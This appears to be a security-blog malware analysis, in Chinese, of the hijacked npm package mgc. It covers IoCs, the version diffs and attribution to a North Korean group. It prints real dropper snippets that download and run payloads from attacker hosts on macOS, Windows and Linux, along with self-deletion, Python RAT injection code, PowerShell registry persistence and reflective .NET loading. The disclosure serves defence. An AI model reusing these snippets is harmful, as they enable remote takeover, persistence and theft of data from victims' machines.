被入侵的 npm 包 mgc 部署多平台远控木马

目录

概述

mgc,一个合法的 npm CLI 工具(用于生成项目模块),通过账户接管被入侵。2026年4月2日发布了四个恶意版本(1.2.11.2.4),每个版本都包含一个释放器(setup.cjs),该释放器可检测操作系统并从 GitHub Gist 获取平台特定的第二阶段有效载荷。Linux 平台(Python)和 Windows 平台(PowerShell)的第二阶段有效载荷是完整的远程访问木马(RAT),它们会向 C2 服务器发送信标、外泄系统信息、枚举目录、执行任意命令,并支持二进制注入。Windows 有效载荷还通过注册表建立持久性。

影响:​

  • 对被入侵系统拥有完全远程访问权限(任意命令执行、脚本注入、二进制执行)
  • 系统侦察:主机名、用户名、操作系统详情、启动时间、进程列表、目录枚举
  • Windows 通过注册表 Run 键和隐藏批处理文件实现持久性
  • macOS 二进制文件被释放到 /Library/Caches/com.apple.act.mond,伪装成 Apple 系统进程
  • 反取证:释放器执行后自删除

威胁指标(IoC):​

  • 软件包:npm 上的 [email protected][email protected]
  • C2 域名:hxxps://admondtamang[.]com[.]np/gate
  • 第二阶段 Gist:hxxps://gist[.]github[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f
  • 第二阶段 Linux 有效载荷:hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/1c5d51c2002f452a4dd58a1a73a9dd90a7fe0297/linux[.]payload
  • 第二阶段 Windows 有效载荷:hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/1c5d51c2002f452a4dd58a1a73a9dd90a7fe0297/window[.]payload
  • Linux 有效载荷路径:/tmp/ld.py
  • macOS 二进制文件路径:/Library/Caches/com.apple.act.mond
  • Windows 持久性:HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate
  • Windows 批处理文件:%PROGRAMDATA%\system.bat
  • Windows PowerShell 副本:%PROGRAMDATA%\wt.exe
  • SHA256(tarball):40aa5d412a50db79a814ac5ad65237745727cb4777843d66a760f64285a5a3e6
  • npm 维护者:admond <[email protected]>(已被入侵的账户)

分析

软件包概述

mgc("模块生成 CLI")是一个小型 CLI 工具,由 Admond Tamang 创建,用于为 Express 应用程序搭建项目模板模块。该工具在 2023 年 8 月至 9 月期间发布了三个合法版本(v1.0.0 到 v1.2.0),采用率很低(月均约 12 次下载,过去 18 个月共约 165 次)。维护者账户(admond)在 npm 上有 8 个软件包,位于 admondtamang/module-generate-cli 的 GitHub 仓库似乎是一个真实项目。

2026 年4月2日,在超过两年半的空白期后,四个新版本(1.2.11.2.21.2.31.2.4)在 30 分钟内相继发布。这种快速连续的版本发布与攻击者在获得账户访问权限后迭代有效载荷的行为一致。

C2 域名(admondtamang.com.np)是开发者的个人域名,第二阶段有效载荷托管在同一个 admondtamang 账户下的 GitHub Gist 上(创建于 2026 年4月1日,描述为"有效载荷")。这表明攻击者同时入侵了 npm 账户和 GitHub 账户。

变更内容:差异分析

将 v1.2.0(合法版本)与 v1.2.4(恶意版本)进行比较,攻击者进行了有针对性的修改:

新增文件:bin/setup.cjs(释放器,3088 字节)

修改了 package.json 以注册新的二进制文件条目:

json
// package.json diff - "bin": { "cli": "bin/generate.js" } + "bin": { "mgc": "bin/generate.js", "mgc-setup": "bin/setup.cjs" }

修改了 bin/generate.js 以添加一个会生成 setup.cjssetup 子命令:

javascript
// bin/generate.js (added lines) import { spawnSync } from 'child_process'; program .command('setup') .description('Run the MGC setup') .action(() => { const setupPath = path.join(__dirname, 'setup.cjs'); spawnSync(process.execPath, [setupPath], { stdio: 'inherit' }); });

该软件包中的其他所有内容,包括模板模块和服务文件,都与合法版本保持不变。攻击者仅添加了交付有效载荷所需的最少代码。

版本演进:在真实注册表上调试恶意软件

这四个恶意版本在 30 分钟内相继发布,揭示了攻击者在真实 npm 注册表上实时调试其交付链的过程。

v1.2.1(06:12 UTC):首次尝试,完整有效载荷,但二进制条目错误

攻击者用恶意的 setup.js 替换了原始的 cli 二进制条目,但未在 generate.js 中添加 setup 子命令:

json
// v1.2.1 package.json — bin entry { "bin": { "cli": "bin/setup.js", // hijacked: was "cli" -> "bin/generate.js" in v1.2.0 "mgc": "bin/generate.js" } }

释放器包含完整有效载荷(所有三个操作系统的分支、反取证、C2 通信)。然而,触发它的唯一方式是通过 npx cli,这是一个通用名称,不太可能被调用。generate.js 入口点对 setup.js 一无所知。

v1.2.2(06:22 UTC):修复交付,但清空了有效载荷

攻击者修复了交付机制:将二进制条目重命名为 mgc-setup,并在 generate.js 中添加了 setup 子命令。但他们将有效载荷缩减为一个空壳,可能是为了测试交付管道是否正常工作而不冒被检测到的风险:

diff
// v1.2.2 package.json — bin entry fixed "cli": "bin/setup.js", "mgc-setup": "bin/setup.js",
javascript
// v1.2.2 bin/setup.js — payload gutted to empty stub const _entry = function (campaignId) { process.exit(0); }; const campaignId = process.argv[2] || 'gate'; _entry(campaignId);
javascript
// v1.2.2 bin/generate.js — setup subcommand added program .command('setup') .description('Run the MGC setup') .action(() => { const setupPath = path.join(__dirname, 'setup.js'); spawnSync(process.execPath, [setupPath], { stdio: 'inherit' }); });

v1.2.3(06:35 UTC):恢复完整有效载荷

在验证了交付机制后,攻击者将完整的恶意有效载荷恢复到了 setup.jsgenerate.jspackage.json 二进制条目与 v1.2.2 保持相同。v1.2.2 和 v1.2.3 之间的差异正是将有效载荷主体重新插入空 _entry 函数。

v1.2.4(06:40 UTC):修复 ESM/CJS 兼容性错误

该软件包在 package.json 中声明了 "type": "module",这使得 Node.js 将所有 .js 文件视为 ES 模块。但释放器使用的是 require()(CommonJS 语法)。运行 setup.js 会抛出错误:

plaintext
ReferenceError: require is not defined in ES module scope

攻击者的修复方案:将 setup.js 重命名为 setup.cjs.cjs 扩展名强制 Node.js 将该文件视为 CommonJS,无论软件包的 type 字段如何:

diff
// v1.2.4 package.json "mgc-setup": "bin/setup.js" "mgc-setup": "bin/setup.cjs"
diff
// v1.2.4 bin/generate.js const setupPath = path.join(__dirname, "setup.js"); const setupPath = path.join(__dirname, "setup.cjs");

有效载荷本身在 v1.2.3 和 v1.2.4 之间是完全相同的。

这种迭代模式(交付失败 → 空测试 → 完整有效载荷 → 运行时错误修复)表明攻击者是在真实注册表上进行测试,而不是使用本地暂存环境,从而留下了每个调试步骤的取证痕迹。

执行触发

恶意的 setup.cjs 在以下情况下执行:

  1. 用户运行 npx mgc-setupmgc-setup(注册为二进制文件条目)
  2. 用户运行 mgc setup(添加到 generate.js 的新子命令)

释放器从命令行参数中获取活动 ID,默认为 "gate"

javascript
const campaignId = process.argv[2] || 'gate'; _entry(campaignId);

第一阶段:释放器

setup.cjs 检测操作系统并执行特定平台的交付机制。三个分支都将 C2 URL 构建为 https://admondtamang.com.np/ + campaignId。

macOS(darwin):​ 将 AppleScript 写入临时文件,使用 curl 从 C2 服务器(hxxps://admondtamang[.]com[.]np/gate)下载二进制文件,将其保存到 /Library/Caches/com.apple.act.mond(模仿 Apple 系统进程名称),设置可执行权限,并在后台运行:

javascript
// bin/setup.cjs — macOS branch const appleScript = \` set {a, s, d} to {"", "${c2Url}", "/Library/Caches/com.apple.act.mond"} try do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null" end try do shell script "rm -rf ${scriptPath}"\`; fs.writeFileSync(scriptPath, appleScript); execCommand = \`nohup osascript "${scriptPath}" > /dev/null 2>&1 &\`;

Windows(win32):​ 将 PowerShell 复制到 %PROGRAMDATA%\wt.exe(伪装成 Windows Terminal),然后编写一个 VBScript 下载 PowerShell 第二阶段有效载荷(hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/.../window[.]payload)并以隐藏方式执行:

javascript
// bin/setup.cjs — Windows branch const wtPath = process.env.PROGRAMDATA + '\\wt.exe'; if (!fs.existsSync(wtPath)) { fs.copyFileSync(psPath, wtPath); } const vbScript = \` Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd.exe /c curl -o ""${ps1Path}"" -s ""${windowsPayloadUrl}"" & ""${wtPath}"" -w hidden -ep bypass -file ""${ps1Path}"" ""${c2Url}"" & del ""${ps1Path}"" /f", 0, False\`;

Linux:​hxxps://gist[.]githubusercontent[.]com/admondtamang/814132e794e5d007e9b8ebd223a9494f/raw/.../linux[.]payload 下载 Python RAT 到 /tmp/ld.py 并以无限循环方式运行:

javascript
// bin/setup.cjs — Linux branch execCommand = \`curl -o /tmp/ld.py -s ${linuxPayloadUrl} && nohup bash -c 'while true; do python3 /tmp/ld.py ${c2Url}; sleep 2; done' > /dev/null 2>&1 &\`;

在启动第二阶段后,释放器执行反取证操作:

javascript
// bin/setup.cjs — anti-forensics fs.unlink(selfPath, () => {}); // Delete setup.cjs itself fs.unlink('package.json', () => {}); // Delete malicious package.json fs.rename('package.md', 'package.json', () => {}); // Attempt to restore clean manifest

整个函数被包装在一个静默的 try/catch 中,捕获所有错误,确保 npm 操作始终完成而不会出现可见错误。

第二阶段:Linux RAT(Python)

Linux 有效载荷(linux.payload)是一个约 280 行的 Python 脚本,实现了一个完整的 C2 代理。在首次执行时,它收集初始侦察信息并发送给 C2:

python
# linux.payload — initial recon def work(): url = sys.argv[1] uid = generate_random_string(16) os = get_os() dir_info = init_dir_info() body = { "type": "FirstInfo", "uid": uid, "os": os, "content": dir_info } send_result(url, body) main_work(url, uid)

init_dir_info() 函数枚举 ~/~/.config/~/Documents/~/Desktop/ 的内容,将文件名、大小、修改时间和目录结构发送给攻击者。

然后代理进入信标循环,每 20 秒向 C2 轮询系统信息:

python
# linux.payload — beacon loop data = { "hostname": get_host_name(), "username": get_user_name(), "os": os, "version": os_version, "timezone": timezone, "installDate": installation_time, "bootTimeString": boot_time, "currentTimeString": current_time, "modelName": manufacturer, "cpuType": product_name, "processList": ps }

C2 可以发出四种命令类型:

命令函数描述
killsys.exit(0)终止代理
peinjectdo_action_ijt()将 base64 解码的二进制文件写入 /tmp/.<random>,chmod 777,然后执行
runscriptdo_action_scpt()执行任意 shell 命令或 base64 编码的 Python 脚本
rundirdo_action_dir()枚举指定目录路径并返回文件列表

peinject 命令值得注意:它将攻击者提供的二进制有效载荷以随机名称写入临时文件并执行:

python
# linux.payload — binary injection def do_action_ijt(ijtbin, param): payload = base64.b64decode(b64_string) file_path = f"/tmp/.{generate_random_string(6)}" with open(file_path, "wb") as file: file.write(payload) os.chmod(file_path, 0o777) subprocess.Popen( [file_path] + shlex.split(param.decode("utf-8", errors="strict")) )

所有通信都使用 base64 编码的 JSON,通过 HTTP POST 发送,并使用伪造的 IE8 User-Agent 字符串:mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

第二阶段:Windows RAT(PowerShell)

Windows 有效载荷(window.payload)复制了 Linux RAT 的功能,并增加了 Windows 特定的增强功能。

持久性:​ 在进入信标循环之前,它通过注册表 Run 键建立持久性:

powershell
# window.payload — persistence $regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $regName = "MicrosoftUpdate" $batFile = Join-Path $env:PROGRAMDATA "system.bat" $batCont = "start /min powershell -w h -c " + """" + "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri '" + $url + "' -Method POST -Body 'packages.npm.org/product1').Content))) '" + $url + "'" Set-Content -Path $batFile -Value $batCont -Encoding ASCII Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden Set-ItemProperty -Path $regKey -Name $regName -Value $batFile

这会创建一个隐藏的批处理文件,位于 %PROGRAMDATA%\system.bat,该文件在每次登录时从 C2 获取新的有效载荷,并通过 Invoke-WebRequestScriptBlock::Create 执行。注册表键 MicrosoftUpdate 确保其在重启后仍然存在。

目录枚举 比 Linux 版本更激进,扫描 Documents、Desktop、OneDrive、AppData\Roaming 以及所有文件系统驱动器根目录:

powershell
# window.payload — initial directory enumeration $initDir = @( Join-Path $userDir "Documents" Join-Path $userDir "Desktop" Join-Path $userDir "OneDrive" Join-Path $userDir "AppData\Roaming" ) $drives = Get-PSDrive -PSProvider FileSystem | ForEach-Object { $_.Root } $initDir += $drives

.NET 程序集注入:​ Windows 的 peinject 命令通过反射加载攻击者提供的 .NET 程序集,这是一种内存中执行技术,可避免将可执行文件写入磁盘:

powershell
# window.payload — .NET assembly injection function Do-Action-Ijt { param([string] $ijtdll, [string] $ijtbin, [string] $param) [byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll) [byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin) $assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni) $class = $assem.GetType("Extension.SubRoutine") $method = $class.GetMethod("Run2") $method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param)) }

变量名 $rotjni("injtor" 倒写)和 $daolyap("payload" 倒写)通过简单的倒写混淆揭示了它们的用途。

共享的 C2 协议和平台差异

Linux 和 Windows 第二阶段有效载荷都实现了相同的 C2 协议,显然来自一个共享的规范。所有通信都使用 HTTP POST,body 为 base64 编码的 JSON,并使用相同的硬编码 IE8 User-Agent 字符串(mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0))。C2 URL 作为命令行参数从释放器传递(Python 中为 sys.argv[1],PowerShell 中为 $args[0])。每个代理在首次运行时生成一个随机的 16 字符字母数字 UID 来识别被感染的主机。

信标序列在所有平台上都是相同的:

  1. FirstInfo:在启动时发送一次,包含 UID、操作系统标识符以及用户主目录、配置目录和文档目录的目录列表
  2. BaseInfo:在轮询循环中发送(Linux 每 20 秒,Windows 每 60 秒),包含主机名、用户名、操作系统版本、时区、启动时间以及完整进程列表
  3. C2 响应:base64 解码后解析为 JSON。type 字段决定调用哪个命令处理器
  4. CmdResult:发送执行结果,状态为 "Wow"(成功)或 "Zzz"(失败)

两个有效载荷支持相同的四种命令类型,但实现方式因平台而异:

命令Linux(Python)Windows(PowerShell)
killsys.exit(0)exit 0
peinject将 base64 解码的二进制文件写入 /tmp/.<random>chmod 0o777,通过 subprocess.Popen 执行通过 Reflection.Assembly.Load 在内存中加载 .NET 程序集,调用 Extension.SubRoutine.Run2
runscript执行 shell 命令(shell=True)或 base64 解码的 Python(通过 python3 -c通过 powershell.exe -ep Bypass-EncodedCommand(针对较大脚本)执行
rundir使用 Path.rglob / os.listdir 枚举路径使用 Get-ChildItem -Force 枚举

最重要的平台差异在于 peinject。在 Linux 上,它将二进制文件写入磁盘(/tmp 中以点前缀隐藏的文件)。在 Windows 上,它使用 .NET 反射通过无文件内存执行,完全避免磁盘写入。runscript 命令也有分歧:Linux 同时支持 shell 命令和 Python 代码执行,而 Windows 通过 PowerShell 路由所有内容,并绕过执行策略。

响应格式在两个有效载荷中结构相同:

python
# Linux CmdResult {"type": "CmdResult", "cmd": "rsp_runscript", "cmdid": "...", "uid": "...", "status": "Wow", "msg": "..."}
powershell
# Windows CmdResult @{type = "CmdResult"; cmd = "rsp_runscript"; cmdid = "..."; uid = $uid; status = "Wow"; msg = "..."}

攻击基础设施

攻击利用了被入侵开发者自己的基础设施:

  • C2 域名:​ admondtamang.com.np(开发者的个人域名,位于 Cloudflare 后面,当前返回 HTTP 530)
  • 第二阶段托管:​ GitHub Gist,位于 admondtamang 账户下,创建于 2026 年4月1日,标题为"有效载荷"
  • npm 账户:​ admond,维护 8 个软件包,包括 pdf-watermarkmulter-ftp-storage

这种同时入侵开发者软件包注册账户和个人基础设施的模式使得攻击更难被检测,因为所有 URL 都解析到合法开发者的已知域名。

活动追踪

释放器使用一个 campaignId 参数(默认为 "gate")附加到 C2 URL。macOS 分支引用 packages.npm.org/product0,Windows 持久性使用 packages.npm.org/product1 作为 POST body 标识符。这表明攻击者按平台和入口向量追踪感染,表明这是一次有组织的活动,而非机会性入侵。

威胁归因:UNC1069 / Sapphire Sleet / BlueNoroff / TA444

此次攻击的 IoC 与**Axios npm 供应链入侵(2026年3月31日)直接匹配,该入侵由 Google GTIG、Microsoft、Palo Alto Unit 42 和 Hunt.io 归因于被追踪为 UNC1069(Google)、​Sapphire Sleet**(Microsoft)、​BlueNoroff(Kaspersky)和 TA444(Proofpoint)的朝鲜威胁组织。恶意软件家族是 WAVESHAPER.V2,是早期 Contagious Interview 活动中 BeaverTail/InvisibleFerret 工具的演进版本。

与已记录的 Axios 攻击的特定 IoC 重叠:

  • macOS 有效载荷路径 /Library/Caches/com.apple.act.mond:完全匹配。Google GTIG 将此追踪为 WAVESHAPER.V2 macOS RAT 释放路径。
  • C2 命令协议(peinjectrunscriptrundirkill)​:完全匹配。由 Hunt.io、Qualys ThreatPROTECT 和 SANS 记录为 WAVESHAPER.V2 C2 命令集。
  • 通过 Extension.SubRoutine.Run2 进行 .NET 程序集注入:完全匹配。Hunt.io 对 Axios RAT 的逆向工程确认这是通过 Windows 上的 peinject 注入的分段植入物。
  • 活动追踪标识符 packages.npm.org/product0(macOS)和 packages.npm.org/product1(Windows)​:完全匹配。由 SANS、Microsoft 和 Google 记录为 C2 回调标记,用于区分平台感染。
  • IE8 User-Agent 字符串:确认的 WAVESHAPER.V2 IoC,在 Sigma APT 检测规则和 Hunt.io 分析中被标记。
  • 多平台交付架构(AppleScript 释放器 + PowerShell RAT + Python RAT):与 Axios 攻击杀伤链完全相同。

mgc 的入侵发生在 2026 年4月2日,距离 Axios 攻击(3月31日)两天后,将其置于同一波活动中。我们对 Axios 入侵的分析 记录了相同的杀伤链:相同的 setup.js 释放器结构、相同的 packages.npm.org/product{0,1,2} 平台标识符、相同的 macOS/Windows/Linux 分支,以及相同的反取证模式(删除 setup.js 并将 package.md 替换为 package.json)。Axios 释放器使用的活动 ID 是 6202033,而 mgc 默认为 gate

虽然 Axios 入侵通过特洛伊化的依赖项(plain-crypto-js)针对每周 6000 万以上下载量的软件包,但 mgc 代表了针对较小软件包通过直接账户接管的平行行动。两次攻击都使用相同的 WAVESHAPER.V2 有效载荷基础设施,但 mgc 攻击者将第二阶段有效载荷托管在被入侵开发者的 GitHub Gist 上,而非专用 C2 服务器(sfrclak[.]com),这表明可能是同一组织内的不同操作者,或者是基础设施多样化。

结论

[email protected]1.2.4 是一个合法 npm 软件包的被入侵版本,通过账户接管被武器化,用于部署多平台 RAT。安装了这些版本的开发者应检查上述指标,特别是 Windows 上的注册表持久性和 Linux 上的 /tmp/ld.py 进程。被入侵的 npm 和 GitHub 账户应被报告并更换。

参考资料

SafeDep 博客最新动态

关注以获取开源安全与工程领域的最新更新和洞察